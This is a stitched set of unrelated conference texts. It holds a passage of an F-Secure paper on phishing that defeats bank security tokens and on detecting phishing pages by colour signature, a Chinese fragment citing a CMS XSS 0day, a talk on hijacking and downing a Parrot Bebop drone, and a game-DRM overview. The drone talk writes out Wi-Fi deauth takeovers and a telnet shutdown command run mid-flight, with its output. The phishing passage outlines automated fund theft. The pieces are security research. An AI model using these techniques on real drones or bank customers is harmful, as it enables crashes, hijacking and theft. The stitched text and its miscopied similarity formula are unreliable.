uses the security token entered at the fake website to perform fund transfer from the victim’s banking account to their money mule’s account. Victim’s machine Real banking website Simulated fake banking website Login Login Real banking website Simulated fake banking website Retrieves information from real banking website and stores them to the simulated banking website Victim’s machine Real banking website Simulated fake banking website Enter security token to perform transaction Attacker uses the security token to transfer fund out Show simulated fake transaction result to fool victim Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 2.9 Since the security token will expire within a short time frame, automating the attack in real-time is important to ensure successful fund transfers. The attacker can easily automate a web browser to perform login and transactions by sending mouse clicks and keystrokes using functions exported by user32.dll such as SendInput(), PostMessage(), SendMessage(), mouse_event() or keybd_event(). This method will be a lot simpler and less effort to implement than simulating a web browser with SSL support to automate the attack. 2.10 Communication with banking websites must usually go through encrypted channel (HTTPS) thus intercepting the data received from web server at socket level is not a good choice. To retrieve decrypted information in web browser received from the server, the attacker can just create a browser plugin such as Browser Helper Object to inspect the information via Document Object Model (DOM) of the loaded page. In addition, automation of information retrieval can also be done from web browser user interface by sending mouse clicks and virtual keys such as CTRL+A and CTRL+C to copy the selected information to clipboard. Then, the information in the clipboard can be reformatted and stored into the simulated fake banking website to fool the victim. 2.11 If the victim’s banking account is preset with daily transaction limit, then the attacker will have to perform several transactions in different days. In this case, the attacker needs to reduce the use of security tokens by avoiding redundant login attempts. This can be done by making the web browser reload the page automatically every minute to prevent from session expiry. Step 1.3 to 1.6 is repeated until the balance in victim’s banking account is emptied. Reasons of automating the attack through GUI at server side: 1. It is a lot simpler than hooking HttpRequestA() in wininet.dll therefore there is a high probability that more criminals might use this technique 2. Hooking wininet.dll doesn’t work for web browsers are implemented using API calls directly to Winsock APIs and proprietary or open SSL libraries 3. Compared to API hooking or using Browser Helper Object (Man-In-The-Browser attack) at client side, simulating the web request at server side does not trigger any IDS/IPS software that detects hooking behavior or browser integrity tampering 4. Storing the malicious logic code at server side for automation also makes security analyst hard to find out what was done and what is being done in the attack when performing forensic analysis on victim’s computer Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! Phishing Website Detection using ‘website appearance signature’ Phishing is a form of social engineering attack to gain the trust of their victim in revealing sensitive information therefore it is technically hard to detect fraudulent website 100% accurately. In this section, the concept of ‘website appearance signature’ is introduced to assist the detection of similar websites and to show how it can be applied to detect phishing websites. First, the screenshot of a rendered website is captured in 24-bits color depth. Since two similar images will contain the similar color palettes and similar amount of pixels in the same group of palettes, thus the color mean values for red, green and blue value of an image can be used as a signature to identify their similarity. In this approach, we only need to know the amounts of similar color pixels so the arrangement or orders of color pixels are ignored. This is due to some legitimate websites’ content might be aligned to the center while the similar content on phishing websites are aligned to the left or even right. There are 8 bits in a byte. Each pixel in a 24-bits color depth image is represented by 3 bytes. The color of a pixel is combined from red, green and blue therefore the value for each element can range from 0 to 255. To obtain the signature of a rendered website screenshot, I’ve chosen a simple way by using the mean values for the red, green and blue element of an image. Below shows example of four same size images followed by their red, green and blue mean values. The first image is the original screenshot of the rendered PayPal website while the second image is a messed up image modified from the original screenshot by cutting the image into multiple pieces. Third image is the fake version of PayPal website with the contrast and brightness level slightly tweaked to make sure the color values are different. The last image shows a totally different image which is the screenshot of rendered 2Checkout.com website. Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 1. paypal.bmp – A screenshot of the real PayPal website [Mean values] Red: 226.26349166666665, Green: 232.64016333333333, Blue: 236.67534166666667 2. messed.bmp – A messed up image modified from paypal.bmp [Mean values] Red: 226.26936333333333, Green: 232.64310833333334, Blue: 236.67663166666668 Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 3. fake.bmp – A screenshot of fake PayPal website [contrast and brightness level tweaked] [Mean values] Red: 225.603835, Green: 231.98625166666667, Blue: 236.01825500000001 4. 2checkout.bmp – A screenshot of the real 2Checkout.com website [Mean values] Red: 207.40960000000001, Green: 220.19798166666666, Blue: 213.34901500000001 Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 2.12 Image similarity detection Based on the pattern of these data, it is clear that when two images containing similar color palettes and similar amount of pixels in the same group of palettes, the mean values for red, green and blue are almost identical or near to each other. Thus, the RGB mean values of an image can be used as a signature to check for similarity of rendered web appearance. The following formula can be used to calculate the similarity percentage between two images: r1 – Red color mean value of image-1, r2 – Red color mean value of image-2 g1 – Green color mean value of image-1, g2 – Green color mean value of image-2 b1 – Blue color mean value of image-1, b2 – Blue color mean value of image-2 rDiff = |((r1 – r2) / 256)|, gDiff = |((r1 – r2) / 256)|, bDiff = |((r1 – r2) / 256)| Therefore, 100 – ((rDiff + gDiff + bDiff) * 100) = % of similarity Example calculation: Difference of paypal.bmp and messed.bmp rDiff = |((226.26349166666665 - 226.26936333333333) / 256)| = 0.00002293619791671875 gDiff = |((232.64016333333333 - 232.64310833333334) / 256)| = 0.0000115039062500390625 bDiff = |((236.67534166666667 - 236.67663166666668) / 256)| = 0.0000050390625000390625 100 – (0.000039479166666796875 * 100) = 99.9960520833333203125 % similar Difference of paypal.bmp and fake.bmp rDiff = |((226.26349166666665 - 225.603835) / 256)| = 0.0025767838541666015625 gDiff = |((232.64016333333333 - 231.98625166666667) / 256)| = 0.002554342447916640625 bDiff = |((236.67534166666667 - 236.01825500000001) / 256)| = 0.002566744791666640625 100 – (0.0076978710937498828125 * 100) = 99.23021289062501171875 % similar Difference of paypal.bmp and 2checkout.bmp rDiff = |((226.26349166666665 - 207.40960000000001) / 256)| = 0.0736480143229165625 gDiff = |((232.64016333333333 - 220.19798166666666) / 256)| = 0.0486022721354166796875 bDiff = |((236.67534166666667 - 213.34901500000001) / 256)| = 0.091118463541666640625 100 – (0.2133687499999998828125 * 100) = 78.66312500000001171875 % similar This approach is far more effective than creating a signature based on the layout structure of HTML or Javascript source of a website because some phishing websites employ obfuscation technique or showing a similar appearance entirely using Flash content. Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! 2.13 Application of website appearance signature Using the earlier described technique to obtain website appearance signature and percentage of similarity between two websites, the algorithm can be applied to create a simple anti-phishing system. Since it is much easier to obtain information of legitimate websites than blacklisting phishing websites, we can make use of that information in an example system like below: Example of a basic anti-phishing system Web Browser Plugin / Tool installed to help user verify website before performing online transaction / banking Website Reputation Analysis Engine Send website information such as URL, appearance signature, local analysis result on HTML source, certificate validity status etc. Database containing information of legitimate financial / banking related websites [e.g. Signatures, URL, domain name age, etc.] 1. Capture the screenshot of webpage when loading completed 2. Calculate the pixel color mean values to be used as signature 3. Submit the URL and signature to server for analysis of website reputation 4. Show the user analysis result from server to know whether the loaded website is legitimate Return analysis result of website (Chances of being a LEGITIMATE / PHISH website) Score-based Algorithm - Appearance similar to legitimate website but hostname/IP address mismatch? - Domain name age younger than 6 months or a year? - URL contains unusual encoding? - Hostname or IP address used in URL? - HTML source contains IFRAME? - Website fingerprint matches legitimate site? - Valid certificate signed by trusted CA? Let’s Sink The Phishermen’s Boat! Teo Sze Siong F-Secure Corporation [email protected] BE SURE! References Websites: [1] http://en.wikipedia.org/wiki/Pharming [2] http://www.gartner.com/it/page.jsp?id=565125 [3] http://en.wikipedia.org/wiki/Color_histogram [4] http://en.wikipedia.org/wiki/Histogram [5] http://en.wikipedia.org/wiki/Man-in-the-middle_attack [6] http://www.apacs.org.uk/media_centre/press/03.10.07.html [7] http://en.wikipedia.org/wiki/Root_mean_square [8] http://en.wikipedia.org/wiki/Mean [9] http://en.wikipedia.org/wiki/Money_mule [10] http://www.seclab.tuwien.ac.at/papers/antiphishdom.pdf [11] http://www.cs.berkeley.edu/~asimma/294-fall06/projects/reports/cordero.pdf [12] http://www.pythonware.com/library/pil/handbook/image.htm [13] http://iplab.naist.jp/member/daisu-mi/miyamoto-jwis2007.pdf [14] http://www2.futureware.at/svn/sourcerer/CAcert/SecureClient.pdf [15] http://www.codeproject.com/KB/system/hooksys.aspx [16] http://www.f-secure.com/weblog/archives/VB2007_PresentationSlides.pdf [17] http://www.f-secure.com/weblog/archives/VB2007_TheTrojanMoneySpinner.pdf [18] http://www.owasp.org/index.php/Man-in-the-browser_attack [19] http://www.owasp.org/index.php/Session_hijacking_attack [20] http://en.wikipedia.org/wiki/Browser_Helper_Object [21] http://www.theregister.co.uk/2006/07/13/2-factor_phishing_attack/ [22] http://www.theregister.co.uk/2007/04/19/phishing_evades_two-factor_authentication/ [23] http://msdn2.microsoft.com/en-us/library/bb250489.aspx [24] http://www.planb-security.net/wp/503167-001_PhishingDetectionandPrevention.pdf [25] http://www.f-secure.com/v-descs/mimail_s.shtml [26] http://www.symantec.com/security_response/writeup.jsp?docid=2007-040208-5335-99&tabid=2 [27] http://vil.nai.com/vil/content/v_126303.htm [28] http://www.symantec.com/security_response/writeup.jsp?docid=2004-101116-3507-99&tabid=2 [29] http://www.f-secure.com/v-descs/trojan-spy_w32_zbot_hs.shtml
pdf
          •                     Google兩大門神         CSWADI                 • • • • • • • •       • • 偽造pdf、jpg等 某知名CMS 0day XSS 通殺! • • •       • • • • •
pdf
Knocking  my  neighbor’s  kid’s cruddy  drone  offline. michael  robinson First,  a  shout  out… Alan  Mitchell Ron  McGuire Chris  Taylor KaAe  Herritage My  neighbor. Sigh. My  neighbor’s  kid. Double  sigh. Way  too  much  discreAonary  spending. My  neighbor. Sigh. My  neighbor’s  kid. Double  sigh. My  iniAal  response: But  that  got  me  thinking… What  if  this  showed  up? Or  if  this  showed  up? Now  there  are  LOTS  of  regulaAons governing  the  flying  of  Unmanned  AircraR  Systems. Most  laws  restrict: 1.  Government/law  enforcement’s  use 2.  Commercial  use  (FAA  needs  to  authorize.) Non-­‐commercial,  private  (hobbyist)  use largely  not  regulated  YET. Some  current  regulaAons  on  UAS: 1.  No  fly  zones: 1.  Around  Washington,  DC  (15  mi  radius) 2.  Around  airports  (5  mi  radius) 3.  On  military  bases 2.  Cannot  launch,  land,  or  crash  in  a  naAonal  park. Technically,  air  space  is  not  NaAonal  Park  Service’s (NPS)  to  regulate;  however,  NPS  can  get  you  for safety  (reckless  endangerment)  and  noise  issues. 3.  Temporary  Flight  RestricAons  within  the  area  of  a disaster,  wildfire,  stadium/sporAng  event,  or PresidenAal  visit. 4.  Cannot  mount  a  gun  on  a  UAS  –  it  becomes  a weapon  system. 5.  400  foot  ceiling 6.  Line  of  site 7.  Sixteen  states  have  enacted  their  own  laws. Requirements  to  Qualify  as  a  Model  Aircra6  under the  FAA  Moderniza:on  and  Reform  Act  of  2012  (P.L.  112-­‐95,  sec:on  336) SecAon  336  also  prohibits  the  FAA  from  promulgaAng  “any  rule  or  regulaAon regarding  a  model  aircraR,  or  an  aircraR  being  developed  as  a  model  aircraR”  if the  following  statutory  requirements  are  met: •  the  aircraR  is  flown  strictly  for  hobby  or  recreaAonal  use; •  the  aircraR  is  operated  in  accordance  with  a  community-­‐based  set  of  safety guidelines  and  within  the  programming  of  a  naAonwide  community-­‐based organizaAon; •  the  aircraR  is  limited  to  not  more  than  55  pounds  unless  otherwise  cerAfied through  a  design,  construcAon,  inspecAon,  flight  test,  and  operaAonal  safety program  administered  by  a  community-­‐based  organizaAon; •  the  aircraR  is  operated  in  a  manner  that  does  not  interfere  with  and  gives  way to  any  manned  aircraR;  and •  when  flown  within  5  miles  of  an  airport,  the  operator  of  the  aircraR  provides the  airport  operator  and  the  airport  air  traffic  control  tower  ...  with  prior  noAce of  the  operaAon.... No  Fly  Zones  in  the  Eastern  U.S. Recordings  automaAcally  uploaded via  Bebop  controller  apps.* 2,000 in  DC 2,000 in  NYC *  It  wasn’t  unAl  app  version  3.5.9  that  it  was  possible  to  set  the  Academy  flights  to  private  by  default. A  quick  comparison 2,000 in  DC 2,000 in  NYC That’s  nice  and  all,  but… My  neighbor’s  kid  is  STILL  annoying, and  I  want  to  know… Is  there  a  way  to  force a  drone/quadcopter  to  land? Maybe  something  more  subtle? Let’s  take  a  look. Parrot  Bebop  Drone  Specifica:ons Parrot  P7  dual-­‐core  CPU;  Quad-­‐core  GPU 8  GB  of  Flash  Memory Top  horizontal  speed:  ~45mph OS:  Runs  on  Linux  with  SDK 2  dual-­‐band  Wi-­‐Fi  antennas Integrated  GNSS  type  GPS  chip/Glonass Operates  on  both  2.4  GHz  and  5  GHz  MIMO frequencies. Generates  its  own  Wi-­‐Fi  802.11  network OpAonal  Skycontroller  (2  km  range) Parrot  Bebop  Drone  Specifica:ons Parrot  P7  dual-­‐core  CPU;  Quad-­‐core  GPU 8  GB  of  Flash  Memory Top  horizontal  speed:  ~45mph OS:  Runs  on  Linux  with  SDK 2  dual-­‐band  Wi-­‐Fi  antennas Integrated  GNSS  type  GPS  chip/Glonass Operates  on  both  2.4  GHz  and  5  GHz  MIMO frequencies. Generates  its  own  Wi-­‐Fi  802.11  network OpAonal  Skycontroller  (2  km  range) Parrot  Bebop  Drone  Specifica:ons Parrot  P7  dual-­‐core  CPU;  Quad-­‐core  GPU 8  GB  of  Flash  Memory Top  horizontal  speed:  ~45mph OS:  Runs  on  Linux  with  SDK 2  dual-­‐band  Wi-­‐Fi  antennas Integrated  GNSS  type  GPS  chip/Glonass Operates  on  both  2.4  GHz  and  5  GHz  MIMO frequencies. Generates  its  own  Wi-­‐Fi  802.11  network OpAonal  Skycontroller  (2  km  range) Parrot  Bebop  Drone  Updates Updates  to  the  FreeFlight  3  app,  the  opAonal Skycontroller,  and  to  the  Bebop  Drone  are  not processed  via  the  app  store. The  app  does  a  lookup  on  Parrot’s  website and  noAfies  the  user  of  an  update. The  user  can  ignore  the  update  and  sAll  fly  the Bebop  Drone. Parrot  Bebop  Drone  Specifica:ons Return  Home  Feature AlAtude:  >10  meters Bebop  Drone  returns  directly  to  its  starAng posiAon. AlAtude:  =<  10  meters It  will  rise  and  stabilize  itself  at  10  meters before  returning  to  its  take-­‐off  posiAon  in  a straight  line. Once  it  has  reached  its  take-­‐off  posiAon,  it  will stop  and  hover  2  meters  above  the  ground. Parrot  Bebop  Drone  Specifica:ons Lost  ConnecAvity: If  the  connecAon  between  the  smartphone/ controller  and  the  Parrot  Bebop  Drone  is  lost, the  Parrot  Bebop  Drone  will  return  to  its starAng  point  automaAcally  aRer  30  seconds of  disconnecAon.* *  Based  on  firmware  update  2.0.28 Parrot  Bebop  Drone  Specifica:ons Lost  ConnecAvity: If  the  connecAon  between  the  smartphone/ controller  and  the  Parrot  Bebop  Drone  is  lost, the  Parrot  Bebop  Drone  will  return  to  its star:ng  point  automa:cally  a6er  30  seconds of  disconnec:on.* *  Based  on  firmware  update  2.0.28 Hmmm…. What  happens,  if  we: 1.  “Disrupt”  Wi-­‐Fi  signal  from  controller? 2.  “Disrupt”  GPS  signal? 3.  Introduce  a  magneAc  field? DisrupAng  the  Wi-­‐Fi  signal Paired  connecAons: 1.  iPad  to  drone  (Wi-­‐Fi) 2.  App  to  app b0:34:95:##:##:## a0:14:3d:##:##:## As  seen  by  a  Pineapple  router Introduce  a  liwle  mischief ConAnuous  deauth  for  30  seconds invokes  landing  sequence! The  “Return  to  Home”  funcAon is  not  invoked! b0:34:95:##:##:## Paired  connecAons: 1.  iPad  to  drone  (Wi-­‐Fi) 2.  App  to  app a0:14:3d:##:##:## It  looks  like  this… What  else? Flying  Wireless  Access  Point Default  Name:  BebopDrone-­‐####### IP  Address:  192.168.42.1 Subnet  Mask:  255.255.255.0 DHCP  Enabled Security:  Open MAC  address:  a0:14:3d:##:##:## Wi-­‐Fi  Channel:  9 As  seen  by  NMAP Port  State  Service 21/tcp  open  Rp 23/tcp  open  telnet 51/tcp  open  la-­‐maint 44444/tcp  open  unknown Flying  Wireless  Access  Point Default  Name:  BebopDrone-­‐####### IP  Address:  192.168.42.1 Subnet  Mask:  255.255.255.0 DHCP  Enabled Security:  Open MAC  address:  a0:14:3d:##:##:## Wi-­‐Fi  Channel:  9 As  seen  by  NMAP Port  State  Service 21/tcp  open  Rp 23/tcp  open  telnet 51/tcp  open  la-­‐maint 44444/tcp  open  unknown It’s  a  flying  FTP  server! Bebop  Drone Running  BusyBox  v  1.20.2  (rel.  July  2,  2012) FTP  server /internal_000/  Bebop_Drone  academy  media  thumb  Debug  archive  crash_reports  current  cksm  flightplans  gps_data  log  lost+found  scripts Bebop_Drone_2015-­‐07-­‐22T111815+0000_3B205A.mp4 Bebop_Drone_2015-­‐07-­‐22T111815+0000_3B205A.mp4.jpg Bebop  Drone Running  BusyBox  v  1.20.2  (rel.  July  2,  2012) FTP  server /internal_000/  Bebop_Drone  academy  media  thumb  Debug  archive  crash_reports  current  cksm  flightplans  gps_data  log  lost+found  scripts Bebop_Drone_2015-­‐07-­‐22T111815+0000_3B205A.mp4 Bebop_Drone_2015-­‐07-­‐22T111815+0000_3B205A.mp4.jpg I  replaced  his  pictures  of naked  girls  with… Maybe  something  more… Flying  Wireless  Access  Point Default  Name:  BebopDrone-­‐####### IP  Address:  192.168.42.1 Subnet  Mask:  255.255.255.0 DHCP  Enabled Security:  Open MAC  address:  a0:14:3d:##:##:## Wi-­‐Fi  Channel:  9 As  seen  by  NMAP Port  State  Service 21/tcp  open  Rp 23/tcp  open  telnet 51/tcp  open  la-­‐maint 44444/tcp  open  unknown …and  then  there  is  telnet. bin  ardone3_fvt6.sh  ardone3_shell.sh  ardone3_shutdown.sh  ardrone3_stop.sh  asix_setup.sh  colibrySend.sh  common_check_update.sh  gps_connect.sh calib data  dragon.conf  fvt6.txt  magneto_calibraAon.conf  system.conf data_us debugfs dev etc factory home lib proc sbin sys tmp  core  emmc_status  gps_debug  gps_easy_cmd  gps_nmea_in  gps_nmea_out  log  mac_address.txt  run  temp_gyro  udev update usr var version.txt www Here  is  a  shortened  list  of  directories  and  files  available  via  telnet: bin  ardone3_fvt6.sh  ardone3_shell.sh  ardone3_shutdown.sh  ardrone3_stop.sh  asix_setup.sh  colibrySend.sh  common_check_update.sh  gps_connect.sh calib data  dragon.conf  fvt6.txt  magneto_calibraAon.conf  system.conf data_us debugfs dev etc factory home lib proc sbin sys tmp  core  emmc_status  gps_debug  gps_easy_cmd  gps_nmea_in  gps_nmea_out  log  mac_address.txt  run  temp_gyro  udev update usr var version.txt www Really? Here  is  a  shortened  list  of  directories  and  files  available  via  telnet: telnet 192.168.42.1 The  following  was  entered while  the  Bebop  drone  was  in  flight! telnet 192.168.42.1 # The  following  was  entered while  the  Bebop  drone  was  in  flight! telnet 192.168.42.1 # ardrone3_shutdown.sh The  following  was  entered while  the  Bebop  drone  was  in  flight! telnet 192.168.42.1 # ardrone3_shutdown.sh shutdown: Shutdown Dragon shutdown: Asking Dragon to stop... shutdown: Stopping users of eMMC eMMC_release: Releasing eMMC... MTP: stopping service shutdown: Synchronise filesystems eMMC_umount: Umounting eMMC... Connection closed by foreign host. The  following  was  entered while  the  Bebop  drone  was  in  flight! In  case  you  missed  it. Let’s  just  take  the  damned  thing! MulAple  devices  can  connect  to  the  Bebop drone  at  the  same  Ame! b0:34:95:##:##:## a8:66:##:##:##:## Paired  connecAons: 1.  iPad  to  drone  (Wi-­‐Fi) 2.  App  to  app Paired  connecAons: 1.  iPhone  to  drone 2.  App  cannot  connect a0:14:3d:##:##:## Bebop  Drone  hovering as  seen  by  an  iPad. Bebop  Drone  hovering as  seen  by  the  iPhone at  the  same  Ame. A  liwle  more  mischief b0:34:95:##:##:## a0:14:3d:##:##:## Paired  connecAons: 1.  iPad  to  drone  (Wi-­‐Fi) 2.  App  to  app Paired  connecAons: 1.  iPhone  to  drone 2.  App  cannot  connect a8:66:##:##:##:## Deauth b0:34:95:##:##:## Paired  connecAons: 1.  iPad  to  drone  (Wi-­‐Fi) 2.  App  to  app Paired  connecAons: 1.  iPhone  to  drone 2.  App  cannot  connect a0:14:3d:##:##:## a8:66:##:##:##:## At  this  point  he’s having  a  bad  day. Establish  a  race  condiAon. Who  will  reconnect  faster? A.  The  pilot B.  You,  who  has  your  finger  on  the  connect  buwon Bebop  Drone  hovering as  seen  by  an  iPad. Frozen  screen! Bebop  Drone  hovering as  seen  by  the  iPhone! Note  the  alAtude. b0:34:95:##:##:## Paired  connecAons: 1.  iPad  to  drone  (Wi-­‐Fi) 2.  App  cannot  connect Paired  connecAons: 1.  iPhone  to  drone 2.  App  to  App a0:14:3d:##:##:## 0c:e3:9f:##:##:## Bebop  Drone  hovering as  seen  by  an  iPhone! A  very  bad  day! When  the  device  running  FreeFlight  3 was  disconnected, the  device  did  not  always  re-­‐connect to  the  Bebop  drone  by  default. Parrot  Bebop  can  come  with  a  Skycontroller. Paired  connecAons: 1.  iPad  to  Skycontroller 2.  Skycontroller  to  drone 3.  App  to  drone b0:34:95:##:##:## a8:66:##:##:##:## a0:14:3d:##:##:## a0:14:3d:##:##:## Paired  connecAon: 1.  iPhone  to  drone,  or 2.  iPhone  to  Skycontroller b0:34:95:##:##:## a8:66:##:##:##:## Deauth Deauth a0:14:3d:##:##:## a0:14:3d:##:##:## Paired  connecAons: 1.  iPad  to  Skycontroller 2.  Skycontroller  to  drone 3.  App  to  drone Bebop  Drone  aRer  hijack  and  crash  as  seen  by  an  iPhone. This  buwon  would  transfer  control  from the  iPhone  to  the  Skycontroller. DisrupAng  the  GPS  signal. Frequencies  used  by  GPS Band Frequency  (MHz) Use GPS L1 1,575.42 Course/Acquisi:on L1  Civilian  (L1C) Military  (M)  code L2 1,227.60 L2  Civilian  (L2C) Military  (M)  code L3 1,381.05 Nuclear/research L4 1,379.913 Research L5 1,176.45 Safety-­‐of-­‐Life  (SoL) Data  and  Pilot GLONASS L1OF,  L1SF 1,602 FDMA  signals LSOF,  L2SF 1,246 L1OC,  L1SC 1,600.995 CDMA  signals L2OC,  L2SC 1,248.06 L3OC,  L3SC 1,202.025 One  teeny,  Any  liwle  problem: 47  U.S.C.  333  –  Willful  or  Malicious  Interference No  person  shall  willfully  or  maliciously  interfere  with  or  cause  interference to  any  radio  communicaAons  of  any  staAon  licensed  or  authorized  by  or under  this  Act  or  operated  by  the  United  States  Government. Communica:ons  Act  of  1934 For  radio  communicaAons,  it  is  illegal  to  operate,  manufacture,  import,  or offer  for  sale,  including  adverAsing. Blocking  radio  communicaAons  in  public  can  carry  fines  of  up  to  $11,000  or imprisonment  of  up  to  one  year. Penal:es The  FCC  may  impose  monetary  forfeitures  of  up  to  $16,000  for  each  day  of such  conAnuing  violaAon  up  to  a  maximum  forfeiture  of  $112,500  for  any single  act  or  failure  to  act. www.fcc.gov/encyclopedia/jammer-­‐enforcement What  to  do? Frequencies  used  by  GPS Band Frequency  (MHz) Use GPS L1 1,575.42 Course/Acquisi:on L1  Civilian  (L1C) Military  (M)  code L2 1,227.60 L2  Civilian  (L2C) Military  (M)  code L3 1,381.05 Nuclear/research L4 1,379.913 Research L5 1,176.45 Safety-­‐of-­‐Life  (SoL) Data  and  Pilot GLONASS L1OF,  L1SF 1,602 FDMA  signals LSOF,  L2SF 1,246 L1OC,  L1SC 1,600.995 CDMA  signals L2OC,  L2SC 1,248.06 L3OC,  L3SC 1,202.025 1,560-­‐1,580 1,217-­‐1,237 EffecAve  range 20m If  the  GPS  signal  were  to  be  lost, the  “return  to  home”  feature immediately  fails. If  the  “return  to  home”  sequence  has  been  started,  the Bebop  drone  will  stop  the  sequence  and  hover. The  starAng  point  is  not  overwriwen. Introducing  a  magneAc  field. No  observable  effect L Taking  over  a  Bebop will  leave  arAfacts  on  your  phone, e.g.,  serial  number  of  drone. com.parrot.freeflight3\Library\Preferences\ com.parrot.freeflight3.plist What  about  something  bigger? Not  that  big. DJI  Phantom  3  Specifica:ons The  signal  transmission  distance  will  vary depending  on  environmental  condiAons, but  the  Phantom  3  series  can  reach distances  of  up  to  1.2  miles  (2  kilometers) away  from  the  pilot. When  operaAng  in  P-­‐mode,  height  limits, distance  limits,  and  No-­‐Fly  Zones  funcAon concurrently  to  manage  flight  safety. In  A-­‐mode,  only  height  limits  are  in  effect, which  by  default  prevent  the  aircraR alAtude  from  exceeding  1,640  feet (500  m). Top  horizontal  speed:  ~35mph DJI  Phantom  3  Specifica:ons If  the  aircraR  enters  the  restricted  area  in A-­‐mode,  but  is  switched  to  P-­‐mode,  the aircraR  will  automaAcally  descend,  land, and  stop  its  motors. GPS  augmented  with  GLONASS,  a  Russian equivalent  of  GPS. DJI  App  Pilot  Prompt: Warning:  You  are  in  a  no-­‐fly  zone. AcAon: AutomaAc  landing  has  begun. DJI  Phantom  3  Specifica:ons The  compass  is  very  sensiAve  to electromagneAc  interference,  which  can produce  abnormal  compass  data  and  lead to  poor  flight  performance  or  flight failure. Regular  calibraAon  is  required  for  opAmal performance. DJI  Phantom  3  Specifica:ons The  compass  is  very  sensi:ve  to electromagne:c  interference,  which  can produce  abnormal  compass  data  and  lead to  poor  flight  performance  or  flight failure. Regular  calibraAon  is  required  for  opAmal performance. DJI  Phantom  3  Updates Updates  to  the  DJI  Pilot  app  and  to  the Phantom  III  are  not  processed  via  the  app store. The  app  does  a  lookup  on  DJI’s  website and  noAfies  the  user  of  an  update. The  user  cannot  ignore  the  update. DisrupAng  the  Wi-­‐Fi  signal. Unlike  the  Bebop,  the  Phantom  III does  not  use  Wi-­‐Fi  for  communicaAon. L Disrupt  GPS  signal The  DJI  app  (DJI  Pilot)  maintains  a  database  of  no  fly  zones. On  iOS  devices  it  is  a  database  called  .flysafeplaces.db As  of  July  24,  2015,  it  contained  10,914  entries  with: LaAtude  and  longitude Country  ID City Name  of  locaAon,  e.g.,  White  House The  radius  around  the  locaAon Shape  (typically  a  circle) Warning  -­‐  bit Disable  -­‐  bit Update  Amestamp Normal  signal  from DJI  Phantom  III regarding  GPS  signal GPS  signal  lost  nearly  instantly. Device  starts  to  driR! Normal  video  channels from  DJI  Phantom  III Videos  channels  are  listed  as  “unstable.” Video  sAll  comes  through  but  there  is  jiwer. If  GPS  signals  were  “disrupted”, when  the  Phantom  III  was  flying  outdoors or  when  the  “Return  to  Home”  feature  was  in  use, flying  became  problemaAc… especially  in  wind! Introduce  a  magneAc  field. A  magneAc  field  near  the  Phantom  III prior  to  take  off  always  required re-­‐calibraAon  to  be  performed. Parrot Bebop Parrot  Bebop with  Skycontroller DJI Phantom  III Wi-­‐Fi  Deauth Hi-­‐jack  possible Hi-­‐jack  possible N/A GPS  interference RTH  stopped funcAoning RTH  stopped funcAoning Difficult  to  control once  moving;  DriRing; RTH  problems; video  interference MagneAc  Field N/A N/A No  take  off; recalibraAon Shotgun Flight  problems Flight  problems Flight  problems Results AssociaAon  for  Unmanned  Vehicle  Systems  InternaAonal hwp://www.auvsi.org DJI hwp://www.dji.com Drone  Law hwp://dronelaw.net Drone  Law  Journal hwp://dronelawjournal.com FAA hwp://www.faa.gov/uas/media/model_aircraR_spec_rule.pdf Know  Before  You  Fly hwp://knowbeforeyoufly.org Mapbox  –  Don’t  Fly  Drones  Here  Map hwps://www.mapbox.com/blog/dont-­‐fly-­‐here/ Parrot  –  Wi-­‐Fi  channels hwp://blog.parrot.com/wp-­‐content/uploads/2014/11/ bebop_drone_wifi_channels_countries_l.jpg Unmanned  AviaAon  News hwp://www.suasnews.com References hwp://blog.parrot.com/wp-­‐content/uploads/2014/11/bebop_drone_wifi_channels_countries_l.jpg Knocking  my  neighbor’s  kid’s cruddy  drone  offline. michael  robinson ed ^ [email protected]
pdf
Ferdinand Schober  Historical Development ◦ Vintage Protection  Different DRM approaches ◦ Privacy Study ◦ Failure Cases ◦ Case Studies  Messing with a gamer ◦ Case Study  Why are games cracked?  Q&A Disc Layout Protection •Games distributed on floppy disc •Easy to duplicate •Use Unique disc layout •E.g. change sector/track markings •Requires custom reading method •Failure prevents loading •Broken through nibble copy “Feelies” •Use external token to confirm ownership •E.g. physical dongle •Failure prevents launching •Broken through game code modification •Use user-based challenge/response •E.g. code wheel, handbook, etc •Failure stops game/changes behavior •Broken through (over time much less) painstaking token duplication  Could be nice game add-ons  Effective as long as token is hard to copy  Now outdated due to easy digitalization & Internet CD Layout Protection • Games distributed on CDs • Same old problems • Break Red Book standard • Broken sectors, oversized disc • Prevents standard copy procedure • Failure prevents loading • Broken through error-resilient hardware, advanced nibble copy Registration Key • Use of key value to confirm ownership • Derived through cryptographic algorithm • Required for installation, multiplayer features • Broken through reverse- engineering, online databases • Still the first defense Code Obfuscation •All copy protection is useless if game code can be changed •Obfuscate binaries •Pre-2000 mostly custom solutions •Post-2000 added as middleware (system components) •De-obfuscation & patch possible (cracks) Networked DRM •Cracks are surprisingly effective •Combine disc layout, registration key, code obfuscation •Added online registration requirement, often limits number of installs •Can still be removed, but raises the bar Social DRM •Eliminates physical distribution, downloads only •Content protection built-in •Adds: •user identity •payment information •social network •online requirement DLC •Additional game content for purchase •Tied to game registration and user account •Obfuscation •StarForce •CD Copy •CD Checks •LaserLock •Mixed •SafeDisc •DiscGuard •SecuROM •FADE •Current •TAGES •SecuROM •StarForce •Next-gen •“EA DRM” •“Ubisoft DRM” •Content Delivery •Steam •GfW Live •BattleNet •Stardock •Walled Garden •iPhone •Xbox Live •PS Network •Intended to protect game from duplication •CD/DVD layout •Code obfuscation •Registration key •Added as middleware and system components ◦ Intended to prevent local copies ◦ Never leaves the local system  Might modify the local OS, install drivers, etc.  Stores data locally ◦ Advances in computing and technology break copy protection  Digital Reproduction  Binary analysis technology  Hardware  Internet  … ◦ Copy protection relies on error-case functionality  Removal is possible •“…technology that inhibits uses of digital content not desired or intended by the content provider...”* •Combine disc layout, registration key, code obfuscation •Online registration requirement, often limits number of installs ◦ Intended to monitor proper usage ◦ In terms of privacy:  Unique Machine Identification/User ID  Machine Fingerprint  Exposes usage over the network  Install/Startup: when is user starting a game?  Runtime: when is user playing a game?  Next big thing: content execution  All other security concerns *Wikipedia ◦ SecuROM DRM  Requires online registration on install  Installation limit – no uninstall 